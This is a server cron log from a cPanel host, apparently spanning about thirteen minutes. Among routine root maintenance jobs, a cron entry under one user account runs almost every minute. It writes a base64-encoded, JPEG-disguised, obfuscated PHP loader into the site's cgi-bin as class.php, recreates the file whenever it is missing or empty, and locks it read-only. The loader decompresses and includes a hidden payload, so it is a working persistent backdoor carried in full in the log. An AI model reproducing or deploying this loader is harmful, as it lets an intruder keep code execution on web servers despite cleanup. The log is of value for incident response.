Aug 30 21:15:01 server CROND[11944]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:16:01 server CROND[12779]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 21:16:01 server CROND[12780]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:16:01 server CROND[12781]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:17:01 server CROND[13250]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:17:01 server CROND[13252]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 21:17:01 server CROND[13251]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:18:01 server CROND[13628]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 21:18:01 server CROND[13629]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:18:01 server CROND[13630]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:19:01 server CROND[14026]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:19:01 server CROND[14027]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 21:19:01 server CROND[14028]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:20:01 server CROND[14407]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 21:20:01 server CROND[14409]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 21:20:01 server CROND[14412]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 21:20:01 server CROND[14414]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 21:20:01 server CROND[14410]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 21:20:01 server CROND[14417]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:20:01 server CROND[14415]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:20:01 server CROND[14411]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 21:20:01 server CROND[14413]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 21:21:01 server CROND[15241]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:21:01 server CROND[15243]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 21:21:01 server CROND[15242]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:22:01 server CROND[15714]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:22:01 server CROND[15715]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:22:01 server CROND[15716]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 21:23:01 server CROND[16088]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 21:23:01 server CROND[16089]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:23:01 server CROND[16090]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:24:01 server CROND[16463]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 21:24:01 server CROND[16464]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:24:01 server CROND[16465]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:25:01 server CROND[16843]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:25:01 server CROND[16845]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 21:25:01 server CROND[16847]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 21:25:01 server CROND[16849]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 21:25:01 server CROND[16848]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:25:01 server CROND[16851]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 21:25:01 server CROND[16850]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 21:26:01 server CROND[17665]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:26:01 server CROND[17666]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 21:26:01 server CROND[17668]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:27:01 server CROND[18127]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:27:01 server CROND[18128]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 21:27:01 server CROND[18129]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:27:01 server CROND[18130]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 21:28:01 server CROND[18494]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
